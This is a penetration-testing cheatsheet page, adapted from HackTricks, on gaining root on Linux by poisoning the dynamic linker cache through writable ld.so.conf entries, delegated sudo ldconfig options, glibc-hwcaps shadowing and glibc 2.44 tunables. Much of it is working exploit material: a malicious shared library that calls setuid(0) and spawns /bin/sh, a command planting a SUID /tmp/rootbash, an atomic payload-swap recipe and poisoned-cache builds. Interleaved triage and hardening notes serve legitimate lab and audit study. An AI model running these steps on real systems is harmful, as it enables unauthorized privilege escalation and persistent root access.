daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ld-so-conf-example.md (18601B)


      1 ---
      2 title: "ld.so privesc exploit example"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/interesting-files-permissions/ld.so.conf-example.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/ld.so.conf-example.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # ld.so privesc exploit example
     14 
     15 This page is a focused lab for poisoning the **system linker cache through `/etc/ld.so.conf` or `ldconfig`**. For missing-library injection, writable `RPATH`/`RUNPATH`, `LD_PRELOAD`, and other generic SUID linker abuse, see [SUID Shared Library and Linker Abuse](/hacktricks/linux-hardening/interesting-files-permissions/suid-shared-library-and-linker-abuse).
     16 
     17 ## Prepare the environment
     18 
     19 In the following section you can find the code of the files we are going to use to prepare the environment
     20 
     21 ### sharedvuln.c
     22 ```c
     23 #include <stdio.h>
     24 #include "libcustom.h"
     25 
     26 int main(){
     27     printf("Welcome to my amazing application!\n");
     28     vuln_func();
     29     return 0;
     30 }
     31 ```
     32 
     33 ### libcustom.h
     34 ```c
     35 #include <stdio.h>
     36 
     37 void vuln_func();
     38 ```
     39 
     40 ### libcustom.c
     41 ```c
     42 #include <stdio.h>
     43 
     44 void vuln_func()
     45 {
     46     puts("Hi");
     47 }
     48 ```
     49 
     50 
     51 1. **Create** those files in your machine in the same folder
     52 2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
     53 3. **Copy** `libcustom.so` to `/usr/lib` and refresh the cache: `sudo cp libcustom.so /usr/lib && sudo ldconfig` (root privs)
     54 4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
     55 
     56 ### Check the environment
     57 
     58 Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
     59 
     60 ```text
     61 $ ldd sharedvuln
     62 	linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
     63 	libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
     64 	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
     65 	/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
     66 
     67 $ ./sharedvuln
     68 Welcome to my amazing application!
     69 Hi
     70 ```
     71 
     72 ### Useful triage commands
     73 
     74 When attacking a real target, verify the **exact library name** the binary needs, what the loader is **currently resolving**, and which configured paths are writable without mutating the live cache.<sup>[[1]](#references)[[2]](#references)[[5]](#references)</sup>
     75 
     76 ```bash
     77 # Needed SONAME and program interpreter
     78 readelf -d ./sharedvuln | grep NEEDED
     79 interp=$(readelf -l ./sharedvuln | sed -n 's/.*interpreter: \(.*\)]/\1/p')
     80 
     81 # Cached candidates and the path selected by the loader
     82 ldconfig -p | grep -F libcustom
     83 "$interp" --list ./sharedvuln 2>/dev/null
     84 "$interp" --inhibit-cache --list ./sharedvuln 2>/dev/null
     85 LD_DEBUG=libs ./sharedvuln 2>&1 | grep -E 'find library|trying file'
     86 
     87 # Configuration, writable config objects, and every component of a configured path
     88 grep -RnsEv '^[[:space:]]*(#|$)' /etc/ld.so.conf /etc/ld.so.conf.d 2>/dev/null
     89 find /etc/ld.so.conf /etc/ld.so.conf.d -writable -ls 2>/dev/null
     90 namei -l /home/ubuntu/lib
     91 
     92 # Enumerate what ldconfig would scan without changing links (-X) or the cache (-N)
     93 /sbin/ldconfig -N -X -v 2>/dev/null
     94 ```
     95 
     96 Use `ldd` only on a **trusted** executable. Some implementations or unusual ELF interpreters can cause it to execute attacker-controlled code; `objdump -p ./file | grep NEEDED` safely lists direct dependencies. For a trusted target, invoking the discovered interpreter with `--list` shows actual resolution. Compare that output with `--inhibit-cache --list`: a difference proves that `/etc/ld.so.cache`, rather than an ordinary search-path rule, selected the object.<sup>[[1]](#references)[[4]](#references)</sup>
     97 
     98 A couple of useful gotchas:
     99 
    100 - `sudo echo ... > /etc/ld.so.conf.d/x.conf` usually **doesn't work** because
    101   the redirection is done by your current shell. Use
    102   `echo "/home/ubuntu/lib" | sudo tee /etc/ld.so.conf.d/privesc.conf` instead.
    103 - **SUID/privileged** binaries run in **secure-execution mode**: `LD_LIBRARY_PATH`
    104   is ignored, while `LD_PRELOAD` is restricted (slash-containing names are
    105   ignored, and only setuid-marked libraries in standard directories may be
    106   preloaded). Once root runs `ldconfig`, directories listed in
    107   `/etc/ld.so.conf` can enter `/etc/ld.so.cache`, so this misconfiguration can
    108   still affect privileged programs.<sup>[[1]](#references)[[2]](#references)</sup>
    109 - `LD_DEBUG` is also ignored in secure-execution mode unless `/etc/suid-debug` exists, so collect its trace from an equivalent non-SUID run rather than expecting output from the privileged execution.<sup>[[1]](#references)</sup>
    110 - On glibc 2.33 and newer, the dynamic loader also exposes
    111   `--list-diagnostics`, which prints machine-readable loader diagnostics and
    112   built-in search-path information when a hijack doesn't behave as expected.<sup>[[1]](#references)[[6]](#references)</sup>
    113 
    114 ### Cache and SONAME constraints
    115 
    116 `ldconfig` does not cache every arbitrary file in a configured directory: it examines ELF headers, recognizes names matching `lib*.so*` or `ld-*.so*`, and expects the conventional `libfoo.so -> libfoo.so.1 -> libfoo.so.1.12` chain. The injected object must therefore have the target architecture/class, the exact `DT_NEEDED` name (normally its `DT_SONAME`), and any symbols/versions the victim resolves.<sup>[[2]](#references)</sup>
    117 
    118 ```bash
    119 readelf -h /home/ubuntu/lib/libcustom.so | grep -E 'Class:|Machine:'
    120 readelf -d /home/ubuntu/lib/libcustom.so | grep SONAME
    121 readelf -Ws /home/ubuntu/lib/libcustom.so | grep vuln_func
    122 ldconfig -p | grep -F 'libcustom.so'
    123 ```
    124 
    125 Prefer a target-specific library such as this example. Shadowing a common SONAME with an incomplete object can break every process that resolves it before the intended privileged target runs.<sup>[[3]](#references)</sup>
    126 
    127 ### Cached-path persistence and atomic swaps
    128 
    129 The cache records a **library name to pathname** mapping; it does not embed the shared object. After an attacker-controlled pathname is cached, replacing the object at that exact path affects newly started processes without another `ldconfig` run. This enables a useful time-of-check/time-of-use pattern: expose a valid library during an administrator's cache rebuild or inspection, then atomically rename the payload over it. Existing processes keep their already mapped object.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup>
    130 
    131 ```bash
    132 cache_path=$("$interp" --list ./sharedvuln | awk '/libcustom\.so/{print $3; exit}')
    133 cp ./payload.so "${cache_path}.new"
    134 mv -f "${cache_path}.new" "$cache_path"
    135 ```
    136 
    137 Likewise, deleting the malicious line from `ld.so.conf` does not evict an already written entry by itself: the administrator must remove the untrusted object, fix ownership/write access, and rebuild the cache. Use the `--inhibit-cache` comparison above to distinguish a stale cache entry from a still-active configuration path.<sup>[[1]](#references)[[2]](#references)</sup>
    138 
    139 ## Exploit
    140 
    141 In this scenario, suppose an administrator has added a vulnerable entry to a
    142 file under `/etc/ld.so.conf.d/` that is included by the system's
    143 `/etc/ld.so.conf`.<sup>[[1]](#references)[[2]](#references)</sup>
    144 
    145 ```bash
    146 echo "/home/ubuntu/lib" | sudo tee /etc/ld.so.conf.d/privesc.conf
    147 ```
    148 
    149 The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
    150 **Download and compile** the following code inside that path:
    151 
    152 ```c
    153 // gcc -shared -fPIC -Wl,-soname,libcustom.so -o libcustom.so libcustom.c
    154 
    155 #include <stdio.h>
    156 #include <stdlib.h>
    157 #include <unistd.h>
    158 #include <sys/types.h>
    159 
    160 void vuln_func(void){
    161     setgid(0);
    162     setuid(0);
    163     puts("I'm the bad library");
    164     system("/bin/sh");
    165 }
    166 ```
    167 
    168 If you expect **root** (or another privileged account) to execute the vulnerable binary later, it is usually better to leave a **root-owned artifact** instead of spawning an interactive shell. For example:
    169 
    170 ```c
    171 system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");
    172 ```
    173 
    174 Then, after the privileged execution happens, you can use `/tmp/rootbash -p`.
    175 
    176 Now that we have **created the malicious libcustom library inside the misconfigured** path, the default cache must be rebuilt by a successful privileged **`ldconfig`** run. A reboot helps only where the local boot process actually invokes it; otherwise wait for an administrator action or use an unsafe sudo rule if one is available.<sup>[[2]](#references)</sup>
    177 
    178 Once this has happened **recheck** where the `sharedvuln` executable is loading the `libcustom.so` library from:
    179 
    180 ```c
    181 $ldd sharedvuln
    182 	linux-vdso.so.1 =>  (0x00007ffeee766000)
    183 	libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
    184 	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
    185 	/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
    186 ```
    187 
    188 As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
    189 
    190 ```c
    191 $ ./sharedvuln
    192 Welcome to my amazing application!
    193 I'm the bad library
    194 $ whoami
    195 ubuntu
    196 ```
    197 
    198 > [!TIP]
    199 > Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
    200 
    201 ### Modern `glibc-hwcaps` shadowing
    202 
    203 Since glibc 2.33, the loader can prefer optimized libraries below `glibc-hwcaps/<level>/` inside **every library search directory**. Consequently, checking only `/home/ubuntu/lib` is insufficient: a writable compatible subdirectory such as `/home/ubuntu/lib/glibc-hwcaps/x86-64-v3/` can shadow the base library after `ldconfig` indexes it, while other CPUs keep using the base object. This also provides an architecture-selective hijack that can be missed when validation occurs on a different CPU.<sup>[[1]](#references)[[3]](#references)</sup>
    204 
    205 ```bash
    206 # The loader prints the supported levels in priority order
    207 "$interp" --help | sed -n '/Subdirectories of glibc-hwcaps/,$p'
    208 find /home/ubuntu/lib/glibc-hwcaps -type d -writable -ls 2>/dev/null
    209 
    210 # Example for a host that reports x86-64-v3 as supported
    211 mkdir -p /home/ubuntu/lib/glibc-hwcaps/x86-64-v3
    212 gcc -shared -fPIC -Wl,-soname,libcustom.so \
    213   -o /home/ubuntu/lib/glibc-hwcaps/x86-64-v3/libcustom.so libcustom.c
    214 sudo ldconfig
    215 ldconfig -p | grep -F libcustom.so
    216 "$interp" --list ./sharedvuln | grep -F libcustom.so
    217 ```
    218 
    219 The current glibc hardening guidance recommends avoiding duplicate SONAMEs, non-default search locations, and objects in `glibc-hwcaps` subdirectories. From an audit perspective, apply ownership and writeability checks recursively to configured directories and their parent path components.<sup>[[3]](#references)</sup>
    220 
    221 ### Other misconfigurations - Same vuln
    222 
    223 In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
    224 But there are other misconfigurations that can cause the same vulnerability: if you have **write permissions** in a loaded **config file**, can create a file in a writable `/etc/ld.so.conf.d/` directory, or can write to `/etc/ld.so.conf`, you can configure and exploit the same vulnerability.<sup>[[1]](#references)[[2]](#references)</sup>
    225 
    226 ## Exploit 2
    227 
    228 **Suppose you have sudo privileges over `ldconfig`**. `ldconfig` accepts scan directories as positional arguments, so the shortest cache-poisoning form is often simply:<sup>[[2]](#references)</sup>
    229 
    230 ```bash
    231 sudo ldconfig /tmp
    232 ```
    233 
    234 Alternatively, `-f` selects another configuration file while retaining the default cache output. This is useful when an argument filter blocks positional directories but still permits `-f`, or when several paths must be injected:<sup>[[2]](#references)</sup>
    235 
    236 ```bash
    237 cd /tmp
    238 mkdir -p conf
    239 echo "include /tmp/conf/*" > fake.ld.so.conf
    240 echo "/tmp" > conf/evil.conf
    241 ```
    242 
    243 Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\
    244 And finally, lets load the path and check where is the binary loading the library from:
    245 
    246 ```bash
    247 # -f changes the input configuration; the default output is still /etc/ld.so.cache
    248 sudo ldconfig -f fake.ld.so.conf
    249 
    250 ldd sharedvuln
    251 	linux-vdso.so.1 =>  (0x00007fffa2dde000)
    252 	libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
    253 	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
    254 	/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
    255 ```
    256 
    257 **As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** The option details matter when assessing a constrained sudo rule: `-f` selects another configuration but still rebuilds `/etc/ld.so.cache`; `-C` redirects the cache elsewhere; `-N` prevents cache rebuilding; and `-X` prevents link updates but **still rebuilds the cache unless combined with `-N`**. `-n` implies `-N`, so it can update links in supplied directories but cannot poison the cache; `-r` operates below an alternate root and normally does not change the host cache.<sup>[[2]](#references)</sup>
    258 
    259 ### glibc 2.44: installing a prebuilt cache
    260 
    261 Glibc 2.44 added `ldconfig --install SOURCE`, which atomically copies a prebuilt cache to the selected cache destination (the host `/etc/ld.so.cache` unless `-C` or `-r` changes it). This creates another dangerous argument for sudoers rules and privileged wrappers: an attacker can construct a valid cache **without privileges**, then use the permitted `--install` invocation to replace the system cache. The install path checks the cache magic but does not regenerate its entries from trusted configuration.<sup>[[9]](#references)[[10]](#references)</sup>
    262 
    263 ```bash
    264 # Build a valid cache as the unprivileged user. -X avoids changing symlinks.
    265 /sbin/ldconfig -X -f /dev/null -t /dev/null \
    266   -C /tmp/evil.ld.so.cache /tmp
    267 /sbin/ldconfig -p -C /tmp/evil.ld.so.cache | grep -F libcustom.so
    268 
    269 # Dangerous when sudo permits ldconfig with attacker-selected arguments.
    270 sudo /sbin/ldconfig --install /tmp/evil.ld.so.cache
    271 "$interp" --list ./sharedvuln | grep -F libcustom.so
    272 ```
    273 
    274 The cache still contains **pathnames**, not library bytes, so `/tmp/libcustom.so` must remain present and compatible when the victim starts. Filters that merely reject `-f`, positional directories, or `-t` are therefore incomplete on glibc 2.44: reject `--install`/`-I` too, or preferably do not delegate `ldconfig` at all.<sup>[[9]](#references)[[10]](#references)</sup>
    275 
    276 ## glibc 2.44: cached system-wide tunables
    277 
    278 Starting with glibc 2.44, `ldconfig` also parses `/etc/tunables.conf` and stores its settings as an extension in `/etc/ld.so.cache`. The file accepts `include` directives and per-process filters. Prefixes control scope: `@`/`onlysecure` targets only `AT_SECURE` processes, `$`/`nonsecure` excludes them, and `*`/`anysecure` covers both. **An unprefixed entry defaults to non-secure processes**, so an attacker must explicitly use `@` or `*` to influence setuid, setgid, or capability-elevated programs. This expands the audit boundary beyond library directories: writable tunables configuration or an included file can influence future program startups after a privileged cache rebuild.<sup>[[7]](#references)[[9]](#references)</sup>
    279 
    280 The same release adds `ldconfig -t TUNCONF`, which selects an alternate tunables file while still writing the normal cache unless another option changes it. Therefore, wrappers and sudo rules that attempted to block only `-f` must also reject `-t`, arbitrary positional directories, `--install`, and cache-output manipulation.<sup>[[7]](#references)[[8]](#references)[[10]](#references)</sup>
    281 
    282 ```bash
    283 # Detection / lab-only proof of cache influence
    284 find /etc/tunables.conf -writable -ls 2>/dev/null
    285 grep -nE '^[[:space:]]*include' /etc/tunables.conf 2>/dev/null
    286 ldconfig --help | grep -E 'TUNCONF|tunables'
    287 printf '*glibc.malloc.check=3\n' > /tmp/evil.tunconf
    288 sudo ldconfig -t /tmp/evil.tunconf
    289 "$interp" --list-tunables | grep -F glibc.malloc.check
    290 sudo ldconfig                         # rebuild from the real configuration
    291 ```
    292 
    293 ### Target-selective tunables
    294 
    295 The `[proc:PATTERN]` filter applies the following entries only when the executable's full `/proc/self/exe` path (if `PATTERN` starts with `/`) or basename matches. A filter ends at the next filter, `[]`, the end of the file, or an include-file boundary. This makes a poisoned cache less noisy because the altered behavior can be restricted to one privileged victim.<sup>[[7]](#references)</sup>
    296 
    297 ```ini
    298 # Affect only this AT_SECURE executable; "-" also forbids env overrides.
    299 [proc:/usr/bin/passwd]
    300 -@glibc.malloc.check=3
    301 []
    302 ```
    303 
    304 The `-`/`nonoverridable` prefix prevents `GLIBC_TUNABLES` from overriding a cached value; `+`/`overridable` restores the normal override behavior. For `AT_SECURE` processes the environment variable is ignored entirely anyway. Treat the file format as version-specific—the glibc project does not promise it as a stable interface—and enumerate supported names and values with `"$interp" --list-tunables` before attempting a targeted effect.<sup>[[7]](#references)[[9]](#references)</sup>
    305 
    306 This is not automatically arbitrary code execution. It is a privileged **loader-behavior manipulation** primitive: glibc explicitly warns that system-wide values can apply security-sensitive tunables to setuid/setgid programs without per-tunable security screening. Look for target-specific allocator changes, CPU-hardening changes, or denial-of-service conditions rather than assuming a universal payload.<sup>[[7]](#references)</sup>
    307 
    308 
    309 ## References
    310 
    311 - [1] [ld.so(8) - Linux manual page](https://man7.org/linux/man-pages/man8/ld.so.8.html)
    312 - [2] [ldconfig(8) - Linux manual page](https://man7.org/linux/man-pages/man8/ldconfig.8.html)
    313 - [3] [Dynamic Linker Hardening - The GNU C Library](https://sourceware.org/glibc/manual/latest/html_node/Dynamic-Linker-Hardening.html)
    314 - [4] [ldd(1) - Linux manual page](https://man7.org/linux/man-pages/man1/ldd.1.html)
    315 - [5] [readelf (GNU Binary Utilities)](https://www.sourceware.org/binutils/docs/binutils/readelf.html)
    316 - [6] [Dynamic Linker Diagnostics (The GNU C Library)](https://sourceware.org/glibc/manual/latest/html_node/Dynamic-Linker-Diagnostics.html)
    317 - [7] [System-wide Tunables (The GNU C Library 2.44)](https://sourceware.org/glibc/manual/2.44/html_node/System_002dwide-Tunables.html)
    318 - [8] [Add system-wide tunables: ldconfig part (patch v6 1/4)](https://sourceware.org/pipermail/libc-alpha/2026-March/175984.html)
    319 - [9] [The GNU C Library version 2.44 is now available](https://sourceware.org/pipermail/libc-alpha/2026-July/179159.html)
    320 - [10] [glibc 2.44 ldconfig source](https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/ldconfig.c;hb=glibc-2.44)